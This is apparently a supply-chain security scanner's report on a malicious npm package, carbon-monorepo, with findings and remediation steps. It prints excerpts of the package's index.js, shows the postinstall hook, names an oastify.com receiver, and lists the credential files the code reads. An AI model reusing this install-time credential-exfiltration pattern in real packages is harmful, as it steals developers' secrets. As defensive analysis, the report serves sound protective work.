registry / Credential exfiltration / carbon-monorepo
carbon-monorepo
netbsd-x64 build for esbuild
This report shows the evidence for carbon-monorepo@20.1.1, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiDirect source inspection confirms an install-time exfiltration chain with command execution, credential-adjacent file reads, and a fixed external HTTP receiver. This is malicious behavior, not a legitimate package function.
Static reason
High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review
Trigger
npm installation invokes the postinstall lifecycle script.
Impact
Exposure of environment credentials, npm configuration, system/account data, process data, project metadata, and local service presence.
Mechanism
install-time command execution, file harvesting, localhost probing, and HTTP exfiltration
Attack narrative
During npm installation, postinstall runs index.js. The script executes reconnaissance commands, collects all environment variables and project metadata, reads npm configuration and logs when present, probes common localhost ports, and POSTs collected values to a fixed external OAST host. This is concrete unconsented credential and host-data exfiltration.
AI rationale
Direct source inspection confirms an install-time exfiltration chain with command execution, credential-adjacent file reads, and a fixed external HTTP receiver. This is malicious behavior, not a legitimate package function.
Evidence
package.jsonindex.js/etc/passwd/etc/shadow$HOME/.npmrc$HOME/.npm/_logs
Network endpoints1
ywy8qnd4a931ga4v74k70b9g67c00qof.oastify.com:80
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- postinstall executes index.js automatically.
- index.js executes system commands and POSTs their output to an external host.
- It collects all environment variables and host identity.
- It reads npm credentials/logs and attempts to exfiltrate them.
- It probes localhost ports and reports open services.
Evidence against
- No package-aligned functionality explains the install-time collection and exfiltration.
Behavioral surface
ChildProcessEnvironmentVarsFilesystemNetwork
HighEntropyStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node index.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgindex.jsView file
1const { execSync } = require("child_process");
L2: const http = require("http");
L3: const os = require("os");
...
L21: const req = http.request(options);
L22: req.write(data);
L23: req.end();
...
L44: function env() {
L45: return Object.entries(process.env)
L46: .map(([key, val]) => `${key}=${val}`)
...
L51: try {
L52: exfilStatic("hostname", os.hostname());
L53: exfilStatic("env", env());
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
index.jsView on unpkg · L11Trigger-reachable chain: scripts.postinstall -> index.js
L1: const { execSync } = require("child_process");
L2: const http = require("http");
L3: const os = require("os");
...
L21: const req = http.request(options);
L22: req.write(data);
L23: req.end();
...
L44: function env() {
L45: return Object.entries(process.env)
L46: .map(([key, val]) => `${key}=${val}`)
...
L51: try {
L52: exfilStatic("hostname", os.hostname());
L53: exfilStatic("env", env());
Findings
2 Critical6 High3 Medium3 Low
CriticalHardcoded Runtime Data Exfiltrationindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processindex.js
HighHost Fingerprint Exfiltrationindex.js
HighCommand Output Exfiltrationindex.js
HighTrigger Reachable External Post Callbackindex.js
HighKnown Malware Source Fingerprint Signatureindex.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to carbon-monorepo@20.1.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing carbon-monorepo@20.1.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.